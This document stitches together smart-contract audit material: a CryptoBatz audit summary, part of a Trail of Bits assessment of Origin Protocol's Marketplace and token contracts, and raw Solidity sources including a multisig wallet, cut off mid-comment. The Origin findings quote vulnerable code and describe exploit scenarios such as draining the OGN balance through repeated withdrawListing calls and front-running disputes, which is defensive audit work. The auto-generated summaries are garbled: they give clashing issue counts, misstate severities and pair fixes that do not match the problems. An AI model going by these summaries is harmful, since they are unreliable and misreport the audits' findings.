that the CryptoBatz Token team put in place a bug bounty program to encourage further analysis of the smart contract by other third parties.CryptoBatz - Audit Report QuillAuditsAudit Report January, 2022 For audits.quillhash.com audits@quillhash.comCanada, India, Singapore, United Kingdom QuillAudits
Issues Count of Minor/Moderate/Major/Critical Minor: 4 Moderate: 3 Major: 0 Critical: 0 Minor Issues 2.a Problem: Random number generation in rollStartIndex 2.b Fix: Use a secure random number generator Moderate Issues 3.a Problem: mintAncientBatz function mints NFT 3.b Fix: Use a secure random number generator 4.a Problem: Setter functions of sales 4.b Fix: Use a secure random number generator 5.a Problem: Insufficient events 5.b Fix: Add more events to the contract Major Issues: None Critical Issues: None Observations The audit was conducted using a combination of automated and manual analysis. The code was found to be well structured and free from any critical issues. Conclusion The audit was conducted on the CryptoBatz Token smart contract codebase and no critical issues were found. The code was found to be well structured and free from any major issues. Minor and moderate issues were found and have been addressed. Code Reference contracts/CryptoBatz.sol:Lines: 545-547 Fix The random number should be generated using a secure random number generator. Summary Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 1. Problem: Random number generation in rollStartIndex function is not random Code Reference: contracts/CryptoBatz.sol:Lines: 545-547 Fix: The random number should be generated using a secure random number generator. Moderate: None Major: None Critical: None Observations: On Jan 11, 2021 - QuillAudits Team performed a security audit for CryptoBatz smart contracts. Conclusion: The code for the audit was taken from the official link and only one minor issue was found. The random number should be generated using a secure random number generator. Issues Count of Minor/Moderate/Major/Critical Minor: 1 Moderate: 0 Major: 0 Critical: 0 Minor Issues 2.a Problem: mintAncientBatz function mints NFT with inconsistent tokenId 2.b Fix: Ensure that the tokenId minted in the mintAncientBatz function isn’t inconsistent. Moderate: None Major: None Critical: None Observations: None Conclusion: The audit report found one minor issue with the mintAncientBatz function minting NFT with inconsistent tokenId. The issue was fixed by ensuring that the tokenId minted in the mintAncientBatz function isn’t inconsistent.
pragma solidity ^0.4.24; contract Migrations { address public owner; uint public last_completed_migration; modifier restricted() { if (msg.sender == owner) _; } constructor() public { owner = msg.sender; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } }
  O r i g i n P r o t o c o l   S e c u r i t y A s s e s s m e n t   November 28, 2018                   Prepared For:    Josh Fraser | Origin Protocol    josh@originprotocol.com     Prepared By:    Robert Tonic | Trail of Bits   robert.tonic@trailofbits.com      Michael Colburn | Trail of Bits   michael.colburn@trailofbits.com      Josselin Feist | Trail of Bits   josselin@trailofbits.com      Changelog:   November 28th, 2018: Initial report delivered   September 13th, 2019:   Added Appendix D with retest results        Executive Summary   Project Dashboard   Engagement Goals   Coverage   Recommendations Summary   Short Term   Long Term   Findings Summary   1. Marketplace OGN balance is drainable through withdrawListing   2. Disputes are front-runnable by a buyer   3. Remote code execution through arbitrary ERC20 implementation   4. ERC20 approve race conditions   5. Marketplace contract can trap funds if the whitelist is disabled   6. OriginToken contract migration breaks Marketplace offer references   7. Withdrawn listing prevents seller from withdrawing submitted offers   8. Seller finalization of an offer with an affiliate and commission results in trapped   funds   9. OriginToken migration while unpaused leads to inconsistent state   10. Marketplace cannot be Paused   A. Vulnerability Classifications   B. Code Quality   C. Automated ERC20 Property Testing   D. Fix Log   Detailed Fix Log   11. Tokens with external code execution can lead to theft of tokens through reentrancy           1  E x e c u t i v e S u m m a r y   Between November 13 and November 28, Trail of Bits assessed Origin Protocol’s   OriginToken , Marketplace , and migration contracts. Two engineers conducted this   assessment over the course of four person-weeks.     The assessment focused on the independent operation of the OriginToken and   Marketplace systems, as well as their components which interacted with each other.   Additionally, the upgrade pattern for the OriginToken contract was reviewed for scenarios   which could cause problems in the Marketplace system.     The assessment’s first week was spent familiarizing with the Origin Protocol smart   contracts and the associated components. This entailed building the components and   learning the expected use of each. Once the systems were built and base knowledge was   established, manual review of the Marketplace and OriginToken contracts took place.     The second week was spent developing property tests for the OriginToken contract, as   well as continuing manual review of the Marketplace and OriginToken migration   contracts. The migration contract was reviewed for issues which could arise before, during,   or after an OriginToken migration, and their impacts on Marketplace operations.     High-severity issues pertained to Marketplace arbitrary code execution and system   malfunction after contract migration. Issues classified as low- or medium-severity generally   pertained to the Marketplace contract, where fund loss or theft was possible. Finally,   informational-severity issues involved race conditions and pausable contracts.     The discovered vulnerabilities within the Marketplace , OriginToken , and TokenMigration   contracts are typical for these types of contracts. The Marketplace contract contains a   significant number of unique function implementations, which led to proportionately more   findings compared to the OriginToken contract. The Marketplace contract would benefit   significantly from unit testing to ensure funds are not trapped or otherwise inaccessible   through expected contract operations. On the other hand, the OriginToken contract is   mostly a standard ERC20 contract which heavily depends on the OpenZeppelin   implementation of the standard. The notable implementation of   approveAndCallWithSender introduces added complexity, but review has not yielded any   immediate concerns with this implementation and its intended interaction with the   Marketplace contract. The primary area of concern regarding the OriginToken is its   migration strategy, as the current implementation will break Marketplace operations.     We believe that all findings related to the Marketplace contract should be remediated, and   unit tests should be developed to further test currency-related operations. Redeployment       2  of the Marketplace contract will be necessary for these remediations. Additionally, further   development and testing of the migration pattern for both the OriginToken and   Marketplace contracts should take place, with special emphasis on the operations which   depend on each other. Once these steps are taken, we strongly recommend another   assessment before a live production system is released.     Update: On September 13, 2019 Trail of Bits reviewed the fixes proposed by Origin Protocol of   the issues presented in this report. The fixes were either fixed or their risk was accepted. The   detailed fixes log is present in Appendix D .         3  P r o j e c t D a s h b o a r d   Application Summary   Name   Origin Protocol   Version   4b31657825523962434c6d4e4c61feb0bb1ee518   Type   NodeJS, Solidity   Platforms   Ethereum     Engagement Summary   Dates   November 13 to 28, 2018   Method   Whitebox   Consultants Engaged   2   Level of Effort   4 person-weeks     Vulnerability Summary    Total High-Severity Issues   4   ◼ ◼ ◼ ◼   Total Medium-Severity Issues   4   ◼ ◼ ◼ ◼   Total Low-Severity Issues   1   ◼   Total Informational-Severity Issues   2   ◼ ◼   Total  11      Category Breakdown   Access Controls   3   ◼ ◼ ◼   Timing   2   ◼ ◼   Undefined Behavior   1   ◼   Patching   3   ◼ ◼ ◼   Data Validation   2   ◼ ◼   Total  11            4  E n g a g e m e n t G o a l s   The engagement was scoped to provide a security assessment of Origin Protocol’s smart   contracts. This included an ERC20 token implementation and its migration contract, and a   Marketplace contract.     Specifically, we sought to answer the following questions:     ●Is there any way for an unauthorized user to access user or Marketplace escrow   funds?   ●Could funds become trapped?   ●Is there any way to prevent a listing from being finalized?   ●Is there any property broken during or after a contract migration occurs?           5  C o v e r a g e   This review included the OriginToken contract and its migration contract, along with a   Marketplace contract. The master branch at commit 4b31...e518 was used during the   assessment.   The Marketplace contract was reviewed for flaws related to buyer and seller operations   such as creating, deleting, and modifying offers and listings. The dispute workflow was also   assessed to ensure correctness and vulnerability to manipulation by a malicious buyer or   seller.     The OriginToken contract was reviewed for flaws related to the ERC20 implementation, as   well as the implemented ERC827 approveAndCallWithSender function which was added to   perform Marketplace contract operations dependent on OriginToken s. An Echidna test   harness was also developed to assist testing of the OriginToken contract properties.           6  R e c o m m e n d a t i o n s S u m m a r y   S h o r t T e r m   ❑ Define a method of flagging a listing as withdrawn. By defining this flag, duplicate   withdrawals can be prevented if checked beforehand.     ❑ Encourage executing dispute transactions with a high gas price. This encourages   miner prioritization of the dispute transaction.     ❑ Ensure the affiliate address is not 0x0 or the Marketplace contract address. This will   help prevent errors on transfer , and prevent the Marketplace from receiving funds it   cannot withdraw.     ❑ Ensure documentation makes OriginToken users aware of the ERC20 approve race   condition. Use of the increaseApproval and decreaseApproval functions should be   suggested.     ❑ Implement a method for a seller or arbitrator to revoke an offer after it has been accepted without external contract calls. Removing this dependence will help prevent   situations where a malicious contract could break the dispute or finalization process.     ❑ Refund the deposit when an offer is finalized by the seller. This will prevent deposit   funds being lost in the Marketplace .     ❑ Do not depend on the listing to withdraw an offer. A user should be able to withdraw an   offer regardless of the status of the listing.     ❑ Add safeguards to TokenMigration. Check that both contracts are paused during a   migration.             7  L o n g T e r m   ❑ Consider allowing a window of time for disputes to be submitted. This will prevent a   buyer from finalizing before the seller can dispute an accepted offer.     ❑ Ensure the affiliate address is under active control and is aware of the affiliate status of the offer. Implement a function requiring the affiliate to claim his or her commission.     ❑ Consider if approveAndCallWithSender should be modified to use increaseApproval   and decreaseApproval . This will reduce exposure to the approve race condition in the   ERC20 standard.     ❑ Prevent arbitrary ERC20 contracts from being used as currency. Consider using a   whitelist of allowed contract addresses.     ❑ Decouple the listing and offer withdrawal logic. This could prevent issues where   dependant logic leads to broken offer or listing states.     ❑ Ensure the Marketplace contract can be paused. This will ensure safety and   consistency in the event of malicious activity or a required upgrade.     ❑ Use unit testing to identify situations which lead to trapped funds. Ensure that no   token is left once all listings are finalized or canceled.     ❑ Create tests to simulate migrations in different scenarios. This can be used to simulate   situations such as when one or both token contracts are left unpaused.     ❑ Perform an external audit of a contract prior its deployment. Deploying a contract   before it has been audited could result in contract abuse or costly re-deployment   operations.         8  F i n d i n g s S u m m a r y   #  Title   Type   Severity   1  Marketplace OGN balance is drainable   through withdrawListing  Access Controls  High   2  Disputes are front-runnable by a buyer   Timing   Medium   3  Remote code execution through arbitrary   ERC20 implementation  Undefined   Behavior  High   4  ERC20 approve race conditions   Timing   Informational   5  Marketplace contract can trap funds if the   whitelist is disabled  Access Controls  Medium   6  OriginToken contract migration breaks   Marketplace offer references  Patching   High   7  Withdrawn listing prevents seller from   withdrawing submitted offers  Data Validation  Low   8  Seller finalization of an offer with an   affiliate and commission results in   trapped funds  Access Controls  Medium   9  OriginToken migration while unpaused   leads to inconsistent state  Patching   Medium   10  Marketplace cannot be paused   Patching   Informational   11  Tokens with external code execution can   lead to theft of tokens through reentrancy  Data Validation  High             9  1 . M a r k e t p l a c e O G N b a l a n c e i s d r a i n a b l e t h r o u g h w i t h d r a w L i s t i n g   Severity: High Difficulty: Low   Type: Access Controls Finding ID: TOB-Origin-001   Target: origin-contracts/contracts/marketplace/v00/Marketplace.sol   Description   The Marketplace contract allows for the submission and withdrawal of listings by users.   When submitting a listing, an initial deposit may be made in OGN , and a deposit manager   address is assigned.      function _createListing ( address _seller , bytes32 _ipfsHash , // IPFS JSON with details, pricing, availability uint _deposit , // Deposit in Origin Token address _depositManager // Address of listing depositManager ) private { /* require(_deposit > 0); // Listings must deposit some amount of Origin Token */ require (_depositManager != 0x0 , "Must specify depositManager" ); listings. push ( Listing ({ seller : _seller, deposit : _deposit, depositManager : _depositManager })); if (_deposit > 0 ) { tokenAddr. transferFrom (_seller, this , _deposit); // Transfer Origin Token } emit ListingCreated (_seller, listings. length - 1 , _ipfsHash); } Figure 1: The internal _createListing function, used to create a listing by public methods.     When a listing is subsequently withdrawn by the listing’s deposit manager, the amount of   deposited OGN is transferred from the Marketplace ’s account to an account of the deposit   manager’s choosing:           10    function withdrawListing ( uint listingID , address _target , bytes32 _ipfsHash ) public { Listing storage listing = listings[listingID]; require ( msg . sender == listing.depositManager, "Must be depositManager" ); require (_target != 0x0 , "No target" ); tokenAddr. transfer (_target, listing.deposit); // Send deposit to target emit ListingWithdrawn (_target, listingID, _ipfsHash); } Figure 2: The public withdrawListing function, used to withdraw a listing.     Because there is no check on whether a listing has been withdrawn previously, the   withdrawal by the deposit manager can be repeated, draining the Marketplace OGN   account balance.     Exploit Scenario   Bob has an account with 20 OGN . The Marketplace contract has 100 OGN associated to its   address. Bob approve s the Marketplace contract to manage 20 of his account’s OGN . Bob   then creates a listing with a deposit of 20 OGN , and assigns himself as the listing deposit   manager. Bob subsequently withdraws the same listing 6 times into his account, resulting   in Bob recovering the initially deposited 20 OGN , and draining the Marketplace contract’s   original 100 OGN .     Recommendation   Define a method of flagging a listing as withdrawn. Check this flag is not set before   performing a withdrawal.           11  2 . D i s p u t e s a r e f r o n t - r u n n a b l e b y a b u y e r   Severity: Medium Difficulty: High   Type: Timing Finding ID: TOB-Origin-002   Target: origin-contracts/contracts/marketplace/v00/Marketplace.sol   Description   When a listing’s offer has been accepted, there is a period of time in which only the buyer   may finalize the offer (finalization window). However, either the buyer or the seller has the   ability to initiate a dispute during the finalization window.     function dispute ( uint listingID , uint offerID , bytes32 _ipfsHash ) public { Listing storage listing = listings[listingID]; Offer storage offer = offers[listingID][offerID]; require ( msg . sender == offer.buyer || msg . sender == listing.seller, "Must be seller or buyer" ); require (offer.status == 2 , "status != accepted" ); require ( now <= offer.finalizes, "Already finalized" ); offer.status = 3 ; // Set status to "Disputed" emit OfferDisputed ( msg . sender , listingID, offerID, _ipfsHash); } Figure 1: The dispute function, allowing a buyer or seller to submit a dispute regarding an   accepted offer.     Because the buyer is the only one able to finalize an offer during the finalization window, a   buyer could trick a seller into accepting an offer.     function finalize ( uint listingID , uint offerID , bytes32 _ipfsHash ) public { Listing storage listing = listings[listingID]; Offer storage offer = offers[listingID][offerID]; if ( now <= offer.finalizes) { // Only buyer can finalize before finalization window require ( msg . sender == offer.buyer, "Only buyer can finalize" ); } else { // Allow both seller and buyer to finalize if finalization window has passed require ( msg . sender == offer.buyer || msg . sender == listing.seller, "Seller or buyer must finalize" ); } ... } Figure 2: The finalize function, defining the finalization window which allows only a buyer to   finalize a listing with an offer.         12  The buyer then sees that the seller has submitted a transaction to dispute the accepted   offer, and subsequently submits a transaction to finalize the offer with a higher gas price,   resulting in the finalization transaction being mined before the dispute.     Exploit Scenario   Alice has a listing on the Origin market. Bob submits an offer to Alice’s listing, and tricks   Alice into accepting the offer. Alice realizes she was tricked, and attempts to submit a   dispute transaction. Bob observes Alice’s dispute transaction and submits a finalization   transaction with a higher gas price so that it is processed first, invalidating Alice’s dispute.     Recommendation   Short term, set disputes’ submission at a high gas price to encourage miner prioritization of   the transaction.     Long term, consider allowing a window of time for disputes to be submitted after an offer   has been accepted.           13  3 . R e m o t e c o d e e x e c u t i o n t h r o u g h a r b i t r a r y E R C 2 0 i m p l e m e n t a t i o n   Severity: High Difficulty: Low   Type: Undefined Behavior Finding ID: TOB-Origin-003   Target: origin-contracts/contracts/marketplace/v00/Marketplace.sol   Description   When a user creates an offer, the address to a deployed implementation of the ERC20   interface is accepted as the _currency parameter.     function makeOffer ( uint listingID , bytes32 _ipfsHash , // IPFS hash containing offer data uint _finalizes , // Timestamp an accepted offer will finalize address _affiliate , // Address to send any required commission to uint256 _commission , // Amount of commission to send in Origin Token if offer finalizes uint _value , // Offer amount in ERC20 or Eth ERC20 _currency, // ERC20 token address or 0x0 for Eth address _arbitrator // Escrow arbitrator ) public payable { ... offers[listingID]. push ( Offer ({ status : 1 , buyer : msg . sender , finalizes : _finalizes, affiliate : _affiliate, commission : _commission, currency : _currency, value : _value, arbitrator : _arbitrator, refund : 0 })); if ( address (_currency) == 0x0 ) { // Listing is in ETH require ( msg . value == _value, "ETH value doesn' t match offer"); } else { // Listing is in ERC20 require ( msg . value == 0 , "ETH would be lost" ); require ( _currency. transferFrom ( msg . sender , this , _value), "transferFrom failed" ); } emit OfferCreated ( msg . sender , listingID, offers[listingID].length - 1 , _ipfsHash); } Figure 1: The public makeOffer function, used for creating an offer for a listing.     Subsequently, the _currency parameter is stored in the listing struct, and used as the   method of payment for the offer.          14  function paySeller ( uint listingID , uint offerID ) private { Listing storage listing = listings[listingID]; Offer storage offer = offers[listingID][offerID]; uint value = offer.value - offer.refund; if ( address (offer.currency) == 0x0 ) { require (offer.buyer. send (offer.refund), "ETH refund failed" ); require (listing.seller. send (value), "ETH send failed" ); } else { require ( offer.currency. transfer (offer.buyer, offer.refund), "Refund failed" ); require ( offer.currency. transfer (listing.seller, value), "Transfer failed" ); } } Figure 2: The paySeller function, used to transfer the ERC20 tokens offered to the seller.     A malicious ERC20 implementation could prevent an offer from finalizing, since the logic for   finalization relies on a successful transfer call.     Exploit Scenario   Alice creates a listing on the Marketplace . Bob then submits an offer using a custom   MaliciousERC20 contract. Alice accepts Bob’s offer. Bob does not finalize the offer. Alice   waits for the finalization period to expire to finalize the offer. Bob uses the   MaliciousERC20 contract to revert on every call to transfer , resulting in an offer that can’t   be finalized.     Recommendation   Short term, implement a method for either a seller or arbitrator to revoke an offer after it   has been accepted, without performing calls to the _currency contract.     Long term, prevent arbitrary ERC20 contracts from being used for the currency method.   Consider using a whitelist of allowed contract addresses.           15  4 . E R C 2 0 a p p r o v e r a c e c o n d i t i o n s   Severity: Informational Difficulty: High   Type: Timing Finding ID: TOB-Origin-004   Target: origin-contracts/contracts/token/OriginToken.sol   Description   Origin conforms to the ERC20 token standard, which contains an unavoidable race   condition. This race condition is only exploitable by sophisticated attackers, but could result   in loss of funds for Origin users.     The ERC20 standard requires two functions, approve and transferFrom , which allow users   to designate other trusted parties to spend funds on their behalf. Calls to any Ethereum   function, including these, are visible to third parties prior to confirmation on-chain. A   sophisticated attacker can front-run them and insert their own transactions to occur before   the observed calls.     The approve function is defined to take an address and an amount, and set that address’s   allowance to the specified amount. Then, that address can call transferFrom and move up   to their allowance of tokens as if they were the owners. However, approve is specified to be   idempotent. It sets the approval to a new value regardless of its prior value; it doesn’t   modify the allowance.     Exploit Scenario   Alice, a non-malicious user, has previously approved Bob, a malicious actor, for 100 OGN .   She wishes to increase his approval to 150. Bob observes the approve(bob, 150)   transaction prior to its confirmation and front-runs it with a transferFrom(alice, bob, 100) . Then, as soon as the new approval is in, his allowance is set to 150 and he can call   transferFrom(alice, bob, 150) . Alice believes she’s setting Bob’s allowance to 150, and   he can only spend 150 tokens. Due to the race condition, Bob can spend 250 OGN .      Recommendation   Short term, ensure documentation makes users aware of this issue and that they may use   the increaseApproval and decreaseApproval functions inherited from the OpenZeppelin   token contracts.     Long term, consider if approveAndCallWithSender should be modified to use   increaseApproval and decreaseApproval as well.         16  5 . M a r k e t p l a c e c o n t r a c t c a n t r a p f u n d s i f t h e w h i t e l i s t i s d i s a b l e d   Severity: Medium Difficulty: Medium   Type: Access Controls Finding ID: TOB-Origin-005   Target: origin-contracts/contracts/marketplace/v00/Marketplace.sol   Description   The Marketplace contract protects listings from receiving offers from unauthorized   affiliates through the use of an affiliate whitelist. The makeOffer function checks to see if   the provided affiliate is 0x0 to prevent trapping tokens in the Marketplace contract.     function makeOffer ( uint listingID , bytes32 _ipfsHash , // IPFS hash containing offer data uint _finalizes , // Timestamp an accepted offer will finalize address _affiliate , // Address to send any required commission to uint256 _commission , // Amount of commission to send in Origin Token if offer finalizes uint _value , // Offer amount in ERC20 or Eth ERC20 _currency, // ERC20 token address or 0x0 for Eth address _arbitrator // Escrow arbitrator ) public payable { bool affiliateWhitelistDisabled = allowedAffiliates[ address ( this )]; require ( affiliateWhitelistDisabled || allowedAffiliates[_affiliate], "Affiliate not allowed" ); if (_affiliate == 0x0 ) { // Avoid commission tokens being trapped in marketplace contract. require (_commission == 0 , "commission requires affiliate" ); } ... Figure 1: The makeOffer function’s affiliate whitelist logic.     However, if the whitelist is disabled, the Marketplace contract address could be provided   as the affiliate address, thus the commission is distributed to the Marketplace contract   upon offer finalization.     function payCommission ( uint listingID , uint offerID ) private { Offer storage offer = offers[listingID][offerID]; if (offer.affiliate != 0x0 ) { require ( tokenAddr. transfer (offer.affiliate, offer.commission), "Commission transfer failed" ); } }     17  Figure 2: The payCommission function, with the check to see if the affiliate is 0x0.     Exploit Scenario   Alice creates a listing using the Marketplace contract, which does not have an active   whitelist. Bob then submits an offer for Alice’s listing, including the Marketplace contract   address as the affiliate address. Alice accepts the offer, which Bob finalizes. Upon   finalization, the commission OGN is distributed to the Marketplace contract balance.     Recommendation   Short term, ensure the affiliate address is not 0x0 , nor the address of the Marketplace   contract.     Long term, ensure the affiliate address is under active control and is aware of the affiliate   status of the offer. Consider implementing an acceptCommission or similar function,   requiring the affiliate to claim their commission.         18  6 . O r i g i n T o k e n c o n t r a c t m i g r a t i o n b r e a k s M a r k e t p l a c e o
Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 2 - Major: 4 - Critical: 2 Minor Issues 2.a Problem: Marketplace OGN balance is drainable through withdrawListing 2.b Fix: Add a check to ensure that the OGN balance is greater than the amount being withdrawn Moderate Issues 3.a Problem: Disputes are front-runnable by a buyer 3.b Fix: Add a check to ensure that the dispute is not already in progress Major Issues 4.a Problem: Remote code execution through arbitrary ERC20 implementation 4.b Fix: Add a check to ensure that the ERC20 implementation is valid Critical Issues 5.a Problem: Marketplace contract can trap funds if the whitelist is disabled 5.b Fix: Add a check to ensure that the whitelist is enabled before funds are transferred Observations - The assessment focused on the independent operation of the OriginToken and Marketplace systems, as well as their components which interacted with each other. - The assessment's first week was spent familiarizing with the Origin Protocol smart contracts and the associated components. - Once Issues Count of Minor/Moderate/Major/Critical: - Minor: 0 - Moderate: 0 - Major: 1 - Critical: 0 Observations: - The Marketplace contract contains a significant number of unique function implementations, which led to proportionately more findings compared to the OriginToken contract. - The Marketplace contract would benefit significantly from unit testing to ensure funds are not trapped or otherwise inaccessible through expected contract operations. - The OriginToken contract is mostly a standard ERC20 contract which heavily depends on the OpenZeppelin implementation of the standard. - The primary area of concern regarding the OriginToken is its migration strategy, as the current implementation will break Marketplace operations. Conclusion: - All findings related to the Marketplace contract should be remediated, and unit tests should be developed to further test currency-related operations. - Redeployment of the Marketplace contract will be necessary for these remediations. - Further development and testing of the migration pattern for both the OriginToken and Marketplace contracts should take place, with special emphasis on the operations which depend on each other. - Another assessment should be conducted before a live production system is released. Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 4 - Major: 1 - Critical: 0 Minor Issues 2.a Problem (one line with code reference): Insufficient access control for certain functions (OriginToken.sol:L51) 2.b Fix (one line with code reference): Restrict access to certain functions (OriginToken.sol:L51) Moderate Issues 3.a Problem (one line with code reference): Insufficient data validation for certain functions (OriginToken.sol:L51) 3.b Fix (one line with code reference): Implement data validation for certain functions (OriginToken.sol:L51) Major Issues 4.a Problem (one line with code reference): Potential for funds to become trapped (OriginToken.sol:L51) 4.b Fix (one line with code reference): Implement a mechanism to prevent funds from becoming trapped (OriginToken.sol:L51) Observations - The engagement was scoped to provide a security assessment of Origin Protocol's smart contracts. - The review included an ERC20 token implementation and its migration contract, and a Marketplace contract
pragma solidity ^0.4.24; import '../../node_modules/openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol'; contract Token is StandardToken { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals, uint _supply) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply_ = _supply; balances[msg.sender] = _supply; } } pragma solidity ^0.4.24; /** * @title A Marketplace contract for managing listings, offers, payments, escrow and arbitration * @author Nick Poulden <nick@poulden.com> * * Listings may be priced in Eth or ERC20. */ import './arbitration/Arbitrable.sol'; contract Marketplace { function executeRuling(uint listingID, uint offerID, uint _ruling, uint _refund) public; } contract OriginArbitrator is Arbitrable { struct DisputeMap { uint listingID; uint offerID; uint refund; address marketplace; } // Maps back from disputeID to listing + offer mapping(uint => DisputeMap) public disputes; // disputeID => DisputeMap Arbitrator public arbitrator; // Address of arbitration contract constructor(Arbitrator _arbitrator) Arbitrable(_arbitrator, "", "") public { arbitrator = Arbitrator(_arbitrator); } function createDispute(uint listingID, uint offerID, uint refund) public returns (uint) { uint disputeID = arbitrator.createDispute(3, '0x00'); // 4 choices disputes[disputeID] = DisputeMap({ listingID: listingID, offerID: offerID, marketplace: msg.sender, refund: refund }); emit Dispute(arbitrator, disputeID, "Buyer wins;Seller wins"); return disputeID; } // @dev Called from arbitration contract function executeRuling(uint _disputeID, uint _ruling) internal { DisputeMap storage dispute = disputes[_disputeID]; Marketplace marketplace = Marketplace(dispute.marketplace); marketplace.executeRuling( dispute.listingID, dispute.offerID, _ruling, dispute.refund ); delete disputes[_disputeID]; // Save some gas by deleting dispute } } // Original source: Gnosis MultiSig Wallet // // Duplicated for contract tests. pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending 